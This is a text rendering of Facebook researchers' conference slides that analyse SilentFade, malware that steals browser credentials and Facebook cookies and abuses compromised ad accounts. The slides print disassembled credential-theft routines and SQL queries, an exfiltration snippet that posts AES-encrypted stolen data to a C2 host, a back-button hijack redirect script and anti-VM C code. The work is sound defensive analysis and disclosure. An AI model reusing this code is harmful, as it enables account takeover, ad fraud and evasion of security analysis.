

SilentFade

Unveiling a Malware Ecosystem
Targeting the Facebook Ad Platform


Sanchit Karve
Jennifer Urgilez } **facebook**

Agenda

1. Background: Malware Targeting Social Network Accounts
2. SilentFade Features
3. On-Platform Persistence
4. Post-Compromise Abuse
5. A Larger Ecosystem of Malware Targeting Social Network Users
6. Attribution
7. Closing Thoughts

Malware Affecting FB Users

- **APTs**
 - Targeted attacks against individuals and/or Organizations
- **PUAs** **Backdoor** apps
 - Data capturing, Fake management
- **CRIMEWARE**
 - Worms
 - Platform used as propagation vehicle
 - Access
 - Harvesting FB credentials from infected devices



Novel Malware Impacting FB Users

- 2008
 - koobface: Windows & Mac versions
 - InfoStealer.Gampass
- 2009
 - Bredolab/FakeScanti
- 2012
 - Dorkbot/SDBot
- 2014
 - FaceLiker
 - BePush
- 2015
 - Qakbot + Man-in-the-Browser support for Facebook

SilentFade

- A new group emerged in early 2016
 - Amateur malware developers but rapidly improving
 - Generally High AV detection rate but can require special repair procedures
- Malware targeted towards Social Network users and Tech Platforms
 - Facebook, Instagram, Twitter and (*more recently*) Amazon
- Linked to at least three evolving malware families
 - Graph API Queries
 - Infrastructure setup, Data Exfiltration format
 - Platform-specific techniques


Graph API

Facebook Graph API is the primary API apps use to read and write to the Facebook Social Graph.

All Facebook SDKs and Products use the Graph API in some form.

Documentation and Usage:

<https://developers.facebook.com/docs/graph-api/>



Prototyping Queries with Graph API Explorer

<https://developers.facebook.com/tools/explorer/>

Graph API Query in a Sample

- Easiest method to query the Graph API is to perform a HTTP GET request to graph.facebook.com

- Graph API Query from Screenshot is of form:

```

https://graph.facebook.com/v{version}
  /act_{ad_account}
  ?access_token={token}&
  _reqName={endpoint}&
  _reqSrc={source}&
  _sessionID={sessionID}
  &fields={query_string}
  &include_headers={bool}&
  locale={locale}&
  method={get/post}&
  pretty={bool}&
  suppress_http_code={bool}
    
```

```


lea    eax, [ebp+Dst]
push  offset a_reqnameAdacco           ; "&_reqName=adaccount"
push  1400h                             ; SizeInBytes
push  eax                               ; Dst
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset a_reqsrcAdspaym          ; "&_reqSrc=AdsPaymentMethodsDataLoader"
push  1400h                             ; SizeInBytes
push  eax                               ; Dst
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset a_sessionid              ; "&_sessionID="
push  1400h                             ; SizeInBytes
push  eax                               ; Dst
call  _strcat_s
mov   ecx, [ebp+var_14A4]
add   esp, 0Ch
cmp   dword ptr [ecx+8Ch], 10h
lea   eax, [ecx+78h]
jb    short loc_48E7EA
mov   eax, [ecx+78h]
    
```

```

; CODE XREF: has_graph_endpoint_payments+5D51j
; Src
push  eax
lea   eax, [ebp+Dst]
push  1400h                             ; SizeInBytes
push  eax                               ; Dst
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset aFields5b22a1l_          ; "&fields=%5B%22a1l_payment_methods%7Bpay"...
push  1400h                             ; SizeInBytes
push  eax
    
```

```

; char aFields5b22a1l_[]
aFields5b22a1l_ db '&fields=%5B%22a1l_payment_methods%7Bpayment_method_altpays%7Bacco'
; DATA XREF: has_graph_endpoint_
db 'unt_id%2Ccountry%2Ccredential_id%2Cdisplay_name%2Cimage_url%2Cins'
db 'trument_type%2Cnetwork_id%2Cpayment_provider%2Ctitle%7D%2Cpm_cred'
db 'it_card%7Baccount_id%2Ccredential_id%2Ccredit_card_address%2Ccred'
db 'it_card_type%2Cdisplay_string%2Cexp_month%2Cexp_year%2Cfirst_name'
db '%2Cis_verified%2Clast_name%2Cmiddle_name%2Ctime_created%2Cneed_3d'
db 's_authorization%2Callow_manual_3ds_authorization%7D%2Cnon_ads_cre'
db 'dit_card%7Baccount_id%2Ccredential_id%2Ccredit_card_address%2Ccre'
db 'dit_card_type%2Cdisplay_string%2Cexp_month%2Cexp_year%2Cfirst_nam'
db 'e%2Cis_verified%2Clast_name%2Cmiddle_name%2Csubtitle%2Ctime_creat'
db 'ed%2Cneed_3ds_authorization%2Callow_manual_3ds_authorization%7D%2'
db 'Cpayment_method_direct_debits%7Baccount_id%2Caddress%2Ccan_verify'
db '%2Ccredential_id%2Cdisplay_string%2Cfirst_name%2Cis_awaiting%2Cis'
db 'pending%2Clast_name%2Cmiddle_name%2Cstatus%2Ctime_created%7D%2Cp'
db 'ayment_method_extended_credits%7Baccount_id%2Cbalance%2Ccredentia'
db 'l_id%2Cmax_balance%2Ctype%2Cpartitioned_from%2Csequential_liabili'
db 'ty_amount%7D%2Cpayment_method_paypal%7Baccount_id%2Ccredential_id'
db '%2Cemail_address%2Ctime_created%7D%2Cpayment_method_stored_balanc'
db 'es%7Baccount_id%2Cbalance%2Ccredential_id%2Ctotal_fundings%7D%2Cp'
db 'ayment_method_tokens%7Baccount_id%2Ccredential_id%2Ccurrent_balanc'
db 'e%2Coriginal_balance%2Ctime_created%2Ctime_expire%2Ctype%7D%7D%2'
db '%5D&include_headers=false&method=get&pretty=0&suppress_http_code'
db '=1',0
align 4
aAll_payment_me db 'all_payment_methods',0
; DATA XREF: has_graph_endpoint_
; Src
mov   byte ptr [ebp+var_4], 0
push  eax
call  leads_to_restclient ua
    
```



SilentFade

Silent Facebook **ADs** + **E**xploit

Overview

Timeline

- Active since 2016 with major updates from Dec 2018
- Page Block Exploit released on Dec 22, 2018
- MMX instructions-based string obfuscation after bug fixed
- Support for Instagram and Amazon Cookies added in 2019

Infection Vector

- Arrives on victim devices via Adware bundles and pirated software installers
- Possibly downloaded by other malware

Purpose


- Run Malicious Ads using Compromised Accounts and linked victim payment methods

Damages

- Losses due to credit card chargebacks and refunds to malware victims for ad fraud

Infection Vector

- PUPs/PUAs: Adware bundlers
 - Monetization via PPI networks such as
 - LoadMoney
 - InstallCapital
 - others
- Pirated software from Torrents
- Likely downloaded by other malware



Features

Compromise Facebook Account

- Credential stealer in the form of Raw Credentials and Cookies
- Linked Payment Info on Facebook Account
- Retrieve Lifetime spend on Ads
- Retrieve Number of Friends and profile information
- Retrieve Information about Owned Pages and Business Managers

Disable all controls to inform user of unauthorized activity

- Disable Account and Page Notifications via push, SMS, and email
- Block FB Business and FB Login Alerts pages from messaging users
- Exploit bug to block pages as users

Persistence On Compromised Device

- Contains Service/Daemon component and DLL injected into browsers w/ watcher components

Credential Theft

Extracted from SQLite Data Stores from

- Chromium-based browsers
- Firefox
- IE/Edge

Passwords are encrypted in DB

- Passwords in Chromium-based SQLite credential stores are encrypted using CryptProtect* Win32 APIs
- SilentFade decrypts them on read

```

8D 85 D8 FC FF FF      lea  eax, [ebp+ExistingFileName]
68 A4 D7 52 00        push offset aLoginData          ; "\\Login Data"
68 04 01 00 00        push 104h                       ; SizeInBytes
50                    push  eax                        ; Dst
E8 42 86 06 00        call  _strcat_s
83 C4 0C              add  esp, 0Ch
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]
68 04 01 00 00        push 104h                       ; size_t
6A 00                 push  0                          ; int
50                    push  eax                        ; void *
E8 6C E5 05 00        call  _memset
83 C4 0C              add  esp, 0Ch
8D 85 E0 FD FF FF      lea  eax, [ebp+pszPath]
50                    push  eax                        ; Src
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]
68 04 01 00 00        push 104h                       ; SizeInBytes
50                    push  eax                        ; Dst
E8 3E 7D 06 00        call  _strcpy_s
83 C4 0C              add  esp, 0Ch
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]
68 00 D7 52 00        push offset aLoginDataCache    ; "\\Login Data Cache.db"
68 04 01 00 00        push 104h                       ; SizeInBytes
50                    push  eax                        ; Dst
E8 F8 85 06 00        call  _strcat_s
8B 35 B4 B2 50 00      mov  esi, ds:PathFileExistsA
8D 85 D8 FC FF FF      lea  eax, [ebp+ExistingFileName]
83 C4 0C              add  esp, 0Ch
50                    push  eax                        ; pszPath
FF D6                call  esi ; PathFileExistsA
85 C0                test  eax, eax
0F B4 69 04 00 00     jz   loc_4885BB
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]
50                    push  eax                        ; pszPath
FF D6                call  esi ; PathFileExistsA
85 C0                test  eax, eax
0F B4 69 04 00 00     jz   short loc_48816C
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]
50                    push  eax                        ; lpFileName
FF 15 A8 B0 50 00     call  ds: _imp_DeleteFileA

loc_48816C:
6A 00                 push  0                          ; CODE XREF: find_chromium_install_get_creds+13Dj
8D 85 E8 FE FF FF      lea  eax, [ebp+FileName]        ; bFailIfExists
50                    push  eax                        ; lpNewFileName
8D 85 D8 FC FF FF      lea  eax, [ebp+ExistingFileName] ; lpExistingFileName
50                    push  eax                        ; lpExistingFileName
FF 15 38 B1 50 00     call  ds:CopyFileA
85 C0                test  eax, eax
0F B4 31 04 00 00     jz   loc_4885BB
6A 00                 push  0
6A 06                 push  6
8D 95 14 FC FF FF      lea  edx, [ebp+var_3EC]
8D 8D E8 FE FF FF      lea  ecx, [ebp+FileName]
E8 31 B2 FF FF        call  sqlite3_open
83 C4 08              add  esp, 8
85 C0                test  eax, eax
0F B5 11 04 00 00     jnz  loc_4885BB
88 9D 14 FC FF FF      mov  ebx, [ebp+var_3EC]
BA C8 D7 52 00        mov  edx, offset aSelectUsername ; "select username_value, password_value, ..."
50                    push  eax
89 85 2C FC FF FF      mov  [ebp+var_3D4], eax
8B CB                mov  ecx, ebx
8D 85 2C FC FF FF      lea  eax, [ebp+var_3D4]
50                    push  eax
6A 00                 push  0
6A 01                 push  1
6A FF                 push  0FFFFFFFh
E8 30 8F FD FF        call  sqlite3_exec

select username_value, password_value, signon_realm from logins
username_value      password_value      signon_realm
sampleaccount@gmail.com 76 31 30 B9 F3 34 C8 34 1D F0 82 50 41 0B B5 DB https://www.facebook.com/

aSelectUsername db 'select username_value, password_value, signon_realm from logins',0
; DATA XREF: find_chromium_inst

```

Session Theft

Extracted from SQLite Data Stores from

- Chromium-based browsers
- Firefox
- IE/Edge

Cookies are encrypted in DB

- Cookies in Chromium-based SQLite credential stores are encrypted using CryptProtect* Win32 APIs
- SilentFade decrypts them on read
- Only Facebook cookies are stolen

```

~
E8 C8 77 06 00
: 83 C4 0C
: 8D 85 D8 FC FF FF
: 68 08 D8 52 00
: 68 04 01 00 00
: 50
: E8 82 80 06 00
: 83 C4 0C
: 8D 85 E8 FE FF FF
: 68 04 01 00 00
: GA 00
: 50
: E8 AC DF 05 00
: 83 C4 0C
: 8D 85 E0 FD FF FF
: 50
: 8D 85 E8 FE FF FF
: 68 04 01 00 00
: 50
: E8 7E 77 06 00
: 83 C4 0C
: 8D 85 E8 FE FF FF
: 68 14 D8 52 00
: 68 04 01 00 00
: 50
: E8 38 80 06 00
: 8B 35 B4 B2 50 00
: 8D 85 D8 FC FF FF
: 83 C4 0C
: 50
: FF D6
: 85 C0
: 0F 84 69 04 00 00
: 8D 85 E8 FE FF FF
: 50
: FF D6
: 85 C0
: 74 80
: 8D 85 E8 FE FF FF
: 50
: FF 15 A8 B0 50 00
:
:
: GA 00
: 8D 85 E8 FE FF FF
: 50
: 8D 85 D8 FC FF FF
: 50
: FF 15 38 B1 50 00
: 85 C0
: 0F 84 31 04 00 00
: GA 00
: 6A 06
: 8D 95 14 FC FF FF
: 8D 80 E8 FE FF FF
: E8 71 AC FF FF
: 83 C4 08
: 85 C0
: 0F 85 11 04 00 00
: 88 9D 14 FC FF FF
: BA 28 D8 52 00
: 50
: 89 85 2C FC FF FF
: 88 C8
: 8D 85 2C FC FF FF
: 50
: GA 00
: GA 01
: GA FF
: E8 70 89 FD FF
:

```

loc_48872C:

```

push    eax
call    _strcpy_s
add     esp, 0Ch
lea     eax, [ebp+ExistingFileName]
push   offset aCookies
push   104h
push   eax
call    _strcat_s
add     esp, 0Ch
lea     eax, [ebp+FileName]
push   104h
push   0
push   eax
call    _memset
add     esp, 0Ch
lea     eax, [ebp+pszPath]
push   eax
lea     eax, [ebp+FileName]
push   104h
push   eax
call    _strcpy_s
add     esp, 0Ch
lea     eax, [ebp+FileName]
push   offset aCookiesCache_d
push   104h
push   eax
call    _strcat_s
mov     esi, ds:PathFileExistsA
lea     eax, [ebp+ExistingFileName]
add     esp, 0Ch
push   eax
call    esi ; PathFileExistsA
mov     eax, eax
test    eax, eax
jz     loc_48887B
lea     eax, [ebp+FileName]
push   eax
call    esi ; PathFileExistsA
test    eax, eax
jz     short loc_48872C
lea     eax, [ebp+FileName]
push   eax
call    ds: _imp_DeleteFileA

push   0
lea     eax, [ebp+FileName]
push   eax
lea     eax, [ebp+ExistingFileName]
push   eax
call    ds:CopyFileA
test    eax, eax
jz     loc_48887B
push   0
push   6
lea     edx, [ebp+var_3EC]
lea     ecx, [ebp+FileName]
call    sqlite3_open
add     esp, 8
test    eax, eax
jnz    loc_48887B
mov     ebx, [ebp+var_3EC]
mov     edx, offset aSelectNameEnccr
push   eax
mov     [ebp+var_304], eax
mov     ecx, ebx
lea     eax, [ebp+var_304]
push   eax
push   0
push   1
push   0FFFFFFFh
call    sqlite3_exec

```

```

SELECT name,encrypted_value, host_key FROM cookies
WHERE host_key = '.facebook.com' -- filtered later

```

name	encrypted_value	host_key
c_user	[hex]	.facebook.com
cm_j	[hex]	.facebook.com
datr	[hex]	.facebook.com
fr	[hex]	.facebook.com
presence	[hex]	.facebook.com
sb	[hex]	.facebook.com
spin	[hex]	.facebook.com
wd	[hex]	.facebook.com
xs	[hex]	.facebook.com
xtrn	[hex]	.facebook.com

```

aSelectNameEnccr db 'select name,encrypted_value,host_key from cookies',0
; DATA XREF:

```

Access Token Theft

Access Tokens Extracted from Ads Manager App

- Ads Manager is a Facebook Platform app for managing ads
- Access token is available in page content at <https://www.facebook.com/adsmanager/>
- Cookies previously extracted by SilentFade are appended to HTTP request
- With a valid session cookie, the request is made as an authenticated or logged-in user.
- Once Access Token is extracted, Graph API queries can be made with it

```
Hypertext Transfer Protocol
> GET https://www.facebook.com/adsmanager/ HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 restclient-cpp/8.888
Accept: */*
Cookie: datr=...; c_user=...; fr=...; pl=...; sb=...; xs=...
[Full request URI: https://www.facebook.com/adsmanager/]
[HTTP request 1/1]
```

↓ Get Access Token for Graph API from Ads Manager page

```
initial_route":{"__m":"__inst_9f495b61_0_0"},"access_token":"EAABs..."},false]],["
```

↓ Get CSRF token from Ads Manager page

```
],["DTSGInitData",[{"token":"AQI...","async_get_token":"AQx..."}],3515],
```

Retrieve Summary of Linked Payment Methods

Determine Account Value

- Does the user have a linked payment method?
 - Credit Card
 - PayPal Account
 - Bank Account
- **Note:** Payment Method Details are not stolen – they are not visible even with access to account.
- Presence of existing account balance?
- Accounts are more valuable with linked payment methods as attackers can run ads from the compromised accounts.

```

lea    eax, [ebp+Dst]
push  offset a_reqnameAdacco    ; "&_reqname=adaccount"
push  1400h                    ; SizeInBytes
push  eax                      ; Dst
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset a_reqsrcAdspaym    ; "&_reqSrc=AdsPaymentMethodsDataLoader"
push  1400h                    ; SizeInBytes
push  eax                      ; Dst
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset a_sessionid        ; "&_sessionID="
push  1400h                    ; SizeInBytes
push  eax                      ; Dst
call  _strcat_s
mov   ecx, [ebp+var_14A4]
add   esp, 0Ch
cmp   dword ptr [ecx+8Ch], 10h
lea   eax, [ecx+78h]
short loc_48E7EA
jb    eax, [ecx+78h]

push  eax
lea   eax, [ebp+Dst]
push  1400h
push  eax
call  _strcat_s
add   esp, 0Ch
lea   eax, [ebp+Dst]
push  offset aFields5b22a1l_    ; "&fields=%5B%22a1l_payment_methods%7Bpay"...
push  1400h                    ; SizeInBytes
push  eax
call  _strcat_s
lea   ecx, [ebp+Dst]
mov   [ebp+var_148C], 0
add   esp, 0Ch
mov   mov [ebp+var_1488], 0Fh
mov   byte ptr [ebp+var_149C], edx, [ecx+1]
lea   edx, [ecx+1]
nop

mov   al, [ecx]
inc   ecx
test  al, al
jnz   short loc_48E840
sub   ecx, edx
lea   eax, [ebp+Dst]
push  ecx
push  eax
lea   ecx, [ebp+var_149C]
call  q_set_string_in_buff
mov   ecx, [ebp+var_14E0]
lea   eax, [ebp+var_149C]
push  eax
lea   eax, [ebp+var_1480]
; at 48E709

mov   byte ptr [ebp+var_4], 0
push  eax
call  leads_to_restclient_u
    
```

```

{
  "data": [
    {
      "all_payment_methods": {
        "pm_credit_card": {
          "data": [
            {
              "account_id": "██████████",
              "credential_id": "██████████",
              "credit_card_address": {
                "zip": "██████████",
                "country_code": "US"
              },
              "credit_card_type": "██",
              "display_string": "American Express ██████████",
              "exp_month": "██",
              "exp_year": "██████",
              "is_verified": true,
              "time_created": "██████████+0000",
              "need_3ds_authorization": false,
              "allow_manual_3ds_authorization": false,
              "supports_recurring_in_india": true
            }
          ],
          "payment_method_tokens": {
            "data": [
              {
                "account_id": "██████████",
                "credential_id": "██████████",
                "current_balance": {
                  "amount": "30.00",
                  "amount_in_hundredths": "3000",
                  "currency": "USD",
                  "offsetted_amount": "3000"
                },
                "original_balance": {
                  "amount": "250.00",
                  "amount_in_hundredths": "25000",
                  "currency": "USD",
                  "offsetted_amount": "25000"
                },
                "time_created": "██████████+0000",
                "time_expire": "2020-██████████+0000",
                "type": 1000
              }
            ]
          }
        }
      }
    }
  ]
}
    
```

Data Sent to C&C Servers

Stolen information organized internally as JSON

- Data encrypted, custom-encoded and sent over to C&C servers through custom headers over HTTPS

Relevant Information collected

- Channel ID (Campaign ID)
- Has the user ever run ads on Facebook?
- Does the user have linked payment accounts?
 - Credit cards, Bank Account or PayPal?
- Total Friends
- Does the user have a Business Manager?
- Does the user own any Facebook Pages?
- Does the user have existing Ad Credit?
- The User's Total Ad Spend

```
{
  "ChannelId": 5,
  "Code": "{{MACHINE-GUID}}",
  "JsonData": {
    "AccountId": "{{FBID}}",
    "Browser": "Chrome Stable",
    "Cookies": "{{ALL-COOKIE-DATA}}",
    "Friends": "{{TOTAL-FRIEND-COUNT}}",
    "IsAdUser": true,
    "IsAdsPay": true,
    "IsBusiness": false,
    "IsPage": false,
    "Payment": "{{TOTAL-BALANCE}}",
    "SpentAmount": "{{TOTAL-SPEND}}",
    "UserEmail": "{{USER-EMAIL}}"
  },
  "Type": 2,
  "Ver": "{{OS VERSION}}"
}
```

SilentFade: On-Platform Persistence

Disable User Notifications

- All Notifications are disabled upon infection
- Allows attackers to use the compromised account without arousing suspicion
- Notifications Disabled
 - Notification Sounds
 - SMS
 - Email
 - In-App Push Notifications
 - Messages sent to Owned Pages

The image shows a screenshot of the Facebook Page Settings interface. At the top, there is a 'Daily Text Limit' section with the text 'Maximum number of texts: 1' and an 'Edit' link. Below this is a navigation menu on the left with categories: General, Security and Login, Your Facebook Information, Privacy, Timeline and Tagging, Location, Blocking, Language, Face Recognition, Notifications (highlighted), and Mobile. The main content area is titled 'Notifications Settings' and contains a table with the following rows:

Notification Type	Current Setting	Action
On Facebook	All notifications, sounds off	Edit
Email	Account related notifications	Edit
Desktop and Mobile	Some notifications	Edit
Text message	Text notifications are turned off	Edit

At the bottom of the page, there is a navigation bar with links for Page, Ad Center, Inbox, Notifications (with a red badge showing '42'), Publishing Tools, More, Edit Page Info (with a red badge showing '5'), Settings, and Help.

The 'Settings' section is expanded, showing a list of settings on the left and a detailed configuration panel on the right. The 'Notifications' setting is selected, showing the following options:

- On Facebook:** Three radio button options: 'Get a notification each time there is activity on your Page or an important Page update.', 'Get one notification every 12 - 24 hours on all activity and updates on your Page during that time.', and 'Off' (selected).
- Messages:** A description: 'Get a notification when someone sends your Page a message in Messenger or Instagram Direct. Push notifications for the Pages Manager app can be managed on the app.' Two radio button options: 'On' and 'Off' (selected).
- Email:** Two radio button options: 'Get an email each time there is activity on your Page or an important Page update.' and 'Off' (selected).
- Text Messages:** Two radio button options: 'On' and 'Off' (selected).

Facebook Login Alerts & Facebook for Business Pages

Facebook Login Alerts Page

- Sends you push notifications and messages via Messenger on suspicious or unrecognized login events

Facebook Business Page

- Sends you push notifications and messages via Messenger for status updates and CTAs on ads currently being run.

The image shows two side-by-side screenshots of Facebook pages. The left screenshot is for 'Facebook Login Alerts', featuring a blue shield icon with an exclamation mark. It displays a notification: 'Hi Sanchit, your Facebook account was logged into from a new browser or device. Was this you?' with details: '* Fri Sep 6, 8:51am', '* Menlo Park, CA, United States', and '* Chrome on Windows'. Below the notification are two buttons: 'Review Login' and 'Manage Alerts'. The right screenshot is for 'Facebook for Business', featuring the Facebook logo. It shows a notification: 'Good news! Your boosted post is approved and will start running soon. In the meantime, you can view it.' Below this is a post preview for 'Lily stocked up more on our #unisex soap 'Jean-Paul'. Smooth and dense latherin...'. At the bottom of the post preview are two buttons: 'View Boosted Post' and 'Manage Alerts'.

SilentFade: On-Platform Persistence

Page Block Exploit

Facebook Login Alerts Page

- Blocked to prevent user from receiving alerts about suspicious login events


Facebook Business Page

- Blocked to prevent user from receiving alerts about ad activity originating from account

Bug Exploited

- Page IDs are blocked as Users

```
mov     edx, offset aFbid7410057633 ; "&fbid=7410057633&_a=1"
lea     ecx, [ebp+var_410]
call   strcat_s_wrapper
lea     eax, [ebp+var_410]
push   eax
lea     ecx, [ebp+1pMem]
call   init_string
push   offset aMessagingBlock ; "/messaging/block_messages/"
lea     ecx, [ebp+var_428]
mov     byte ptr [ebp+var_4], 24h
call   init_string
lea     eax, [ebp+1pMem]
mov     byte ptr [ebp+var_4], 25h
push   eax
lea     eax, [ebp+var_428]
mov     ecx, edi
push   eax
lea     eax, [ebp+var_44C]
push   eax
call   make_https_request
push   eax
lea     ecx, [ebp+var_470]
call   heapfree_smart_wrapper1
lea     ecx, [ebp+var_44C]
call   heapfree_smart_wrapper0
lea     ecx, [ebp+var_428]
call   heapfree_smart_wrapper
mov     byte ptr [ebp+var_4], 0Ch
lea     ecx, [ebp+1pMem]
call   heapfree_smart_wrapper
mov     edx, offset aFb_dtsg ; "fb_dtsg="
lea     ecx, [ebp+var_410]
call   calls_poss_gen_string
mov     ecx, ebx
call   dtsg_cookie_sanity_check
mov     edx, eax
lea     ecx, [ebp+var_410]
call   strcat_s_wrapper
mov     edx, offset aUid10018471399 ; "&uid=1001847139929871&update_plite=&pri"...
lea     ecx, [ebp+var_410]
call   strcat_s_wrapper
lea     eax, [ebp+var_410]
push   eax
lea     ecx, [ebp+1pMem]
call   init_string
push   offset aPrivacyBlock_u ; "/privacy/block_user/"
lea     ecx, [ebp+var_428]
mov     byte ptr [ebp+var_4], 26h
call   init_string
lea     eax, [ebp+1pMem]
mov     byte ptr [ebp+var_4], 27h
push   eax
lea     eax, [ebp+var_428]
mov     ecx, edi
push   eax
lea     eax, [ebp+var_44C]
push   eax
call   make_https_request
```



Page Block Exploit In Action

Bug: Pages Blocked as Users

Caused by **missing** server-side validation of ID during **Block Request**

Server-side validation **present** during **Unblock Request**

As a result, Pages blocked “as users” cannot be unblocked by users

Users do not receive notifications for

- Suspicious Logins
- Ad Activity

A screenshot of the Facebook settings menu. The 'Blocking' option is highlighted in blue. The menu items are: General, Security and Login, Your Facebook Information, Privacy, Timeline and Tagging, Location, Blocking, Language, Notifications, Mobile, Public Posts, Apps and Websites, Instant Games, Business Integrations, Ads, Payments, Support Inbox, Videos, and Linked Publications.

Manage Blocking

Restricted List When you add a friend to your Restricted List, they won't see posts on Facebook that you share only to Friends. They may still see things you share to Public or on a mutual friend's timeline, and posts they're tagged in. Facebook doesn't notify your friends when you add them to your Restricted List. [Learn more.](#) [Edit List](#)

Block users Once you block someone, that person can no longer see things you post on your timeline, tag you, invite you to events or groups, start a conversation with you, or add you as a friend. Note: Does not include apps, games or groups you both participate in.

A screenshot of the 'Block users' interface. It features a search box labeled 'Add name or email' and a blue 'Block' button. Below the search box is a list of categories with 'Unblock' links: Facebook, Facebook Security, Facebook Business, Facebook Login Alerts, and Facebook Watch.

Block messages If you block messages and video calls from someone here, they won't be able to contact you in the Messenger app either. Unless you block someone's profile, they may be able to post on your timeline, tag you, and comment on your posts or comments. [Learn more.](#)


A screenshot of the 'Block messages from' interface. It features a search box labeled 'Type the name of a friend...' and a list of categories with 'Unblock' links: Facebook Login Alerts and Facebook Business.

Remediation

Bug Fixes and Countermeasures Implemented


- Full remediation of compromise vector
- Page Block bug fixed upon discovery
- Security-related pages can no longer be blocked
- All accounts with detected infections are “checkpointed” (notified and sessions killed)
- Several minor back-end changes to prevent additional abuse

- Samples after bug fix **stopped including page block exploit or any notification setting disabling code.**



SilentFade: Post-Compromise Abuse

Attack Cycle



Ads Run By SilentFade

Type of Ads




- Counterfeit Products
- Celeb-Bait
- Male Enhancement Scams
- Pharmaceutical Pills (Diet, Keto)

Ad Formats

- Images (often distorted)
- Videos (often distorted)
- Carousels

Ad Surfaces

- Facebook Newsfeed and Stories
- Instagram Newsfeed and Stories
- Facebook Audience Network (*Shown in Mobile Apps*)



Cloaking in Action

An Example of Ad Targeting

- Targeted adult users in **Australia**
- To be displayed in newsfeed on **mobile**
- Initial Domain: epsdemo[.]com


Cloaking Technique

- Is the IP address from Australia?
- Is the request from a mobile device?
- Is the click originating from Facebook?


Ad Creatives

- Intentionally distorted images and Videos to throw off classification systems

AD CREATED FROM COMPROMISED ACCOUNT TARGETING AUSTRALIAN USERS



MONEY PAGE



CLEAN PAGE

Abusing the JavaScript History API


Evading Automated Redirection Detection Systems

- JavaScript can use the `history.pushState()` function to add URLs to the browser's history stack.
- Users are likely to click the “Back” button on their mobile browsers once they visit an unwanted or unintended page.
- Pressing the “Back” button takes the user to the “money page”.
 - Also used to force user to stay on page by pushing the same URL on the stack multiple times.
- URL Redirection Systems may miss the final redirect due to the nature of this technique

```
!function() {
  var t;
  try {
    for(t = 0; 10 > t; ++t) history.pushState({}, "", "#");
    onpopstate = function (t) {
      t.state && location.replace("https://we.jamclicks.com/
fa780c8f-4eb6-4360-bd48-e1958f6fdb20?ts=" +
getURLParameter("ts") + "&device=" + getURLParameter(
"device") + "&model=" + getURLParameter("model") + "
&browser=" + getURLParameter("browser") + "&os=" +
getURLParameter("os") + "&country=" + getURLParameter(
"country") + "&countryname=" + getURLParameter("
countryname") + "&language=" + getURLParameter("
language") + "&browserversion=" + getURLParameter("
browserversion") + "&path=edlp")
    }
  } catch (o) {}
}();
```

SilentFade: Signs of a Larger Malware Ecosystem

Timeline of Related Malware



Related Malware: FacebookRobot

FacebookRobot + NetSys

- FacebookRobot and NetSys samples are written in C# and C++ respectively
- Both share C2 server, AES crypto and key
- Attackers love to experiment with different languages


```
stringBuilder.Append("");  
stringBuilder.Append(",\"Browser\":\");  
stringBuilder.Append(myContext.Browser);  
stringBuilder.Append("");  
stringBuilder.Append("}");  
string pBody = AppInstance.AesEncrypt(stringBuilder.ToString(), "z9Yzbx5JbVSUWmTh");  
AppInstance.WinHTTPSend("http://www.seemorebty.com/", null, pBody);
```

FacebookRobot (C#) and NetSys (C++) samples sharing same C2 server and AES key

```
movdqa xmm0, ds:xmmword_569ED0  
movdqu xmmword ptr [ebp+var_78], xmm0  
push offset byte_569200  
movdqa xmm0, ds:aCredit0  
mov [ebp+var_38], 'C'{'  
mov [ebp+var_34], 'ikoo'  
mov [ebp+var_30], '":'e'  
mov [ebp+var_2C], b1  
mov [ebp+var_1C], 's0', '  
mov [ebp+var_18], '":' '  
mov [ebp+var_50], 'am', '  
mov [ebp+var_4C], 'nihc'  
mov [ebp+var_48], 'dIe'  
mov [ebp+var_44], '":' '  
mov [ebp+var_42], b1  
mov [ebp+var_68], 'tbe'  
mov [ebp+var_64], 'oc.y'  
mov [ebp+var_60], '/m'
```

```
mov byte ptr [ebp+var_4], 1  
lea ecx, [ebp+var_484]  
push offset unk_558304 ; void *  
push offset a29yzbx5jbusuwm ; "z9Yzbx5JbVSUWmTh"  
call AES
```

http://www.seemorebty.com



Unique Anti-VM Code

- Anti-VM code unique to this ecosystem
- The Approach is very common
 - Detection using Display Driver Description
- But the implementation is unique
 - DirectX9 APIs used
- Anti-VM code recreated in C in slide image.

```
#include <d3d9.h>
#include <shlwapi.h>

bool IsVirtualMachine_SilentFadeGroup() {
    LPDIRECT3D9 g_pD3D = NULL;
    if (NULL == (g_pD3D = Direct3DCreate9(D3D_SDK_VERSION))) {
        return false;
    }
    UINT adapterCount = g_pD3D->GetAdapterCount();
    for (size_t idx = 0; idx < adapterCount; idx++) {
        D3DADAPTER_IDENTIFIER9 adapterIdentifier;
        g_pD3D->GetAdapterIdentifier(idx, 0, &adapterIdentifier);
        if (
            StrStrI(adapterIdentifier.Description, "VM") ||
            StrStrI(adapterIdentifier.Description, "Virtual")
        ) {
            return true;
        }
    }
    return false;
}
```

SilentFade Attribution

Malware Challenges for Web Services

Dealing with Malware for a Web Service

- Zero Visibility into Endpoint Devices
 - Web Services are not Anti-Malware Products
 - We can't measure what we can't see
- Decoupled and open nature of WWW makes it possible to spoof traffic coming from any app or device
 - How do we know if traffic is legitimate?
- Benign and Malicious activity originates from the same device
 - Limited value in forcing password resets as device is already compromised by malware.
 - 2FAC/MFAC doesn't matter as malware steals post-authentication session cookies.

SilentFade Code

Library Code Maintained on GitHub

- Compile timestamps were reliable.
- Most library code used in SilentFade samples found in a GitHub Repository.
- Discovered samples in the wild w/ code from GitHub repo **before the repository was created** on GitHub

```

-----
lea    eax, [ebp+var_C]
mov    large fs:0, eax
mov    [ebp+var_10], esp
push  offset aChs      ; "CHS"
push  LC_ALL           ; int
call   _setlocale

; CODE XREF: InstallSvc+2D1j
push  esi
lea   eax, [ebp+Filename]
push  eax
push  offset aWszDllPathS ; "wszDllPath = %s \n"
